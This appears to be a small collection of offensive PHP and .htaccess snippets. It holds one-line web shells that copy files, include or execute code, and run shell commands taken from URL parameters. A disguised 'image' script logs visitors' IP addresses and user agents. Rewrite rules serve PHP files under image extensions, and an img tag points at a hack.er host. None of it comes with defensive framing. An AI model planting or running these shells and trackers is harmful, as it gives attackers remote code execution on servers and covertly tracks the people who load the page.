<?php

$_SESSION['username'] = "user";

if ($_SESSION['username'] !== "admin")
{
	header("Location: index.php");
}

echo "Priv8 zone!";

?>

<?php copy($_GET['s'], $_GET['d']);

<?php include($_GET['x']);

<?php echo fread(popen($_GET['c'],'r'),1024*4);

<?php file_put_contents('_c.php','<?php '.$_GET['c'].' ?>'); include '_c.php'; unlink("_c.php");

<?php
// write data
date_default_timezone_set('UTC');
$info = sprintf("Date: %s\nIP: %s\nUser Agent: %s\n", date('Y-m-d H:i:s'), $_SERVER['REMOTE_ADDR'], $_SERVER['HTTP_USER_AGENT']);
$file = fopen("data.txt", "a");
fwrite($file, $info);
fclose($file);

// fake img
$fname = basename('image.png');
$img = file_get_contents($fname);
header('Content-type: ' . getMimeType($fname));
header('Content-Length: ' . strlen($img));
echo $img;

// functions
function getMimeType($filename)
{
	if (/*extension_loaded("fileinfo")*/ function_exists('finfo_file'))
		return finfo_file(finfo_open(FILEINFO_MIME_TYPE), $filename);
	else if (function_exists('mime_content_type'))
		return mime_content_type($filename);
	else
	{
		// only images
		$idx = strtolower(substr(strrchr($filename, "."), 1));
		$mime = array(
			'gif' => 'image/gif',
			'ico' => 'image/x-icon',
			'jpeg' => 'image/jpeg',
			'jpg' => 'image/jpeg',
			'png' => 'image/png'
		);
		
		if (isset($mime[$idx]))
			return $mime[$idx];
		else return 'application/octet-stream';
	}
}
?>

# Prevent viewing of htaccess and htpasswd files.
<Files .htaccess>
    order allow,deny
    deny from all
</Files>

# Prevent directory listings.
Options All -Indexes

# Hide .php in image.
Options +FollowSymlinks
RewriteEngine on
RewriteRule ^(.*)\.jpg$ $1.php [nc]
RewriteRule ^(.*)\.jpeg$ $1.php [nc]
RewriteRule ^(.*)\.tiff$ $1.php [nc]
RewriteRule ^(.*)\.gif$ $1.php [nc]
RewriteRule ^(.*)\.bmp$ $1.php [nc]
RewriteRule ^(.*)\.png$ $1.php [nc]

<img src="https://www.hack.er/image.png />